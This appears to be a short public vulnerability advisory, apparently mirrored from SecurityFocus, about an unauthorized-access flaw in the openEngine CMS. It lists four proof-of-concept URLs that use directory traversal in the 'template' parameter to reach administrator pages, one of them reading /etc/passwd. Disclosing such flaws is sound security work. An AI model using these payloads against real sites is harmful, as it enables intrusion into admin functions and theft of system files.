10 lines
No EOL
875 B
Text
Executable file
10 lines
No EOL
875 B
Text
Executable file
source: http://www.securityfocus.com/bid/17871/info
|
|
|
|
openEngine is prone to an unauthorized-access vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
|
|
|
|
An attacker can exploit this issue to access privileged and potentially sensitive information. This may aid in other attacks.
|
|
|
|
http://www.example.com/cmspath/website.php?template=../system/03_admin/edit/upload&site_pool=/
|
|
http://www.example.com/cmspath/website.php?template=../system/03_admin/edit/individual&include=/etc/passwd
|
|
http://www.example.com/cmspath/website.php?template=../system/admin/accounts&action2=searchaccounts&accounts_group=2
|
|
http://www.example.com/cmspath/website.php?template=../system/admin/accounts&action2=searchaccounts&accounts_group=2&action=editaccount&accounts_lastname=&accounts_email=&accounts_group=2&account_key=<account_key> |